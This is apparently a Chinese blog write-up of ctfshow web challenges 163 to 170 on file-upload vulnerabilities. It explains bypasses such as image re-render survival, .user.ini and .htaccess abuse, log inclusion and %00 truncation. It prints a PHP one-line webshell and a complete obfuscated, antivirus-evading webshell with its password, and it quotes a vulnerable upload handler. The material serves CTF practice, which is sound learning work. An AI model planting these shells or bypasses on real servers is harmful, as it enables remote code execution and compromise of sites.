ctfshow-web-文件上传漏洞(二)

发布于:2025-09-13 ⋅ 阅读:(16) ⋅ 点赞:(0)

web163

与162题目解法相同,在该题中png文件中的内容会被删除,因此需要直接在 .user.ini文件远程包含。

web164

考点:二次渲染

分为PNG、GIF和Jpeg三种。
主要目的是绕过imagecopyresized() and imagecopyresampled()两个函数对图片的渲染处理,保持插入的php木马不被渲染替换掉。

PNG:

IHDR:文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

PLTE:调色板数据块PLTE(palette chunk)包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每一个调色板信息由3个字节组成。

IDAT:图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像。

IEND:图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的: 0000000049454E44AE426082,不难明白,由于数据块结构的定义,IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82。

GIF图片:

对比不变的图片点插入即可

JPG图片:

命令行去制作图片,需要事先准备好一张jpg图片。

图片的二次渲染是通过在图片中没有被渲染的位置加入一句话木马从而实现getshell,但是由于无法上传.user.ini文件以及.haccess文件,所以无法实现文件包含漏洞,因此要利用BP实现getshell的回显,从而拿到flag。

问题:可以用拼接形式的payload,直接写成的一句话木马paylaod无法使用。

web165

该题目限制只能使用jpg的文件,所以需要对jpg的文件进行二次渲染。

问题:

对渲染的jpg图片提交后,进行BP抓包,然后利用一句话木马getshell,但是没有回显。

解决方法:

需要将上传上去二次渲染后的文件下载后再次进行渲染,才能够 getshell 成功。

web166

限制只能上传zip文件,而且在访问下载文件时会返回zip的16进制内容,但是更换zip文件后就不能出现而是直接下载了。

解决方法:

在zip文件中加入一句话木马,一句话木马使用短标签的形式<?=eval($_REQUEST['a']);?>

上传成功后使用BP抓包,然后利用一句话木马进行getshell。

这里过滤了空格,因此使用$IFS去绕过,也可以使用 %09 和 + 去绕过。

由于使用REQUEST函数,所以也可以通过POST方法去传参。

web167

提示httpd 想到htaccess 因为是httpd.conf 里面的AllowOverride 得为all 所以上传htaccess.jpg 然后抓包修改 里面写AddType application/x-httpd-php .jpg . txt 意思是增加 这些后缀 用php来解析 这一题写jpg就好 然后在bp修改添加 xx.jpg 内容是shell 之后访问即可

上传.haccess文件,通过BP抓包更改后上传。写一句话木马,上传jpg文件,之后利用一句话木马getshell,获取flag。

web168

基础免杀绕过。

没有过滤php文件,和一些基本和函数。通过BP抓包修改后缀上传。

利用字符拼接system()函数重写一句话木马绕过失败。

应该是在高版本中把部分函数和字符过滤了。

方法一:

利用免杀木马:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));
?>

连接密码:TyKPuntU

方法二:

利用反引号进行命令执行。

使用反引号要传参给变量,输出变量。

web169

高级免杀

限制只能上传zip文件。但是上传zip显示文件类型错误。

知识点:在上传类型错误时,可以修改Content-Type字段进行绕过。

这道题目过滤了<>,因此上一题payload无法使用。需要通过日志包含漏洞进行绕过。

上传.user.ini文件,包含日志路径,通过BP抓包上传成功。

在UA头上传一句话木马,或者直接读取flag的命令

由于前面上传的文件太多,导致利用日志包含漏洞执行代码会出现错误。重启环境。

由于日志包含漏洞是将传入的一句话木马写入当下目录的php文件中,所以,要给当下目录传入一个php文件,该代码才能执行成功。

web170

与169相同利用日志包含漏洞去getshell。

.user.ini文件的使用:

内容:auto_prepend_file=
上传该文件,则同目录下的php文件会自动包含该文件。

需要条件:php版本要大于5.3.0    

.haccess文件:

内容:AddType application/x-httpd-php
是增加的文件后缀以php的形式解析。

文件数据流的写入:

echo "123" >> 1.txt:hello

文件数据流的查看:
notepad 1.txt:hello    

路径拼接绕过:

在文件名后添加其他符号绕过:1.php. .

空字符串绕过验证

get方法:

%00截断:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
当文件的路径以substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);这种形式拼接产生式可以通过%00截断的方法去绕过。使得在上传后只保留$_GET['save_path']中的php文件。

post方法:

只是位置和get方法不一样,并且截断的时候不能用%00,要在BP当中选中空格进行HEX形式的更改。

这题可以理解为对文件重命名方式的绕过?为什么标题为空字符绕过
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; 

在这一关中,后端保存文件时将save_path和一个随机数进行了拼接,然后再后面加上文件后缀名,从而构造出一个完整的文件路径,即:

save_path/随机数字+日期.文件后缀

通过在save_path中指定目录和文件名,并且在后面加上%00,也就构造出了这样一个字符串:../upload/demo.php%00

后端将save_path跟后面其余内容拼接时,最终的文件路径就变成了 ../upload/demo.php%00/随机数字+日期.文件后缀

在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符,于是在存储文件的时候,当函数读到 0x00 (%00) 时,会认为文件名已经结束,因此最终只会留下 ../upload/demo.php ,从而实现了绕过。

通过文件头绕过验证

上传文件以后,文件变成png格式了,里面的代码不能被解析,然后用了文件包含,为什么就能被解析了,文件格式不还是png格式吗?

直接访问这个png文件,web服务器不会解析它,会作为静态资源直接返回给浏览器
如果用了文件包含,web服务器会让php去解析这个png文件,php扫描文件中的内容,发现有php代码就会执行它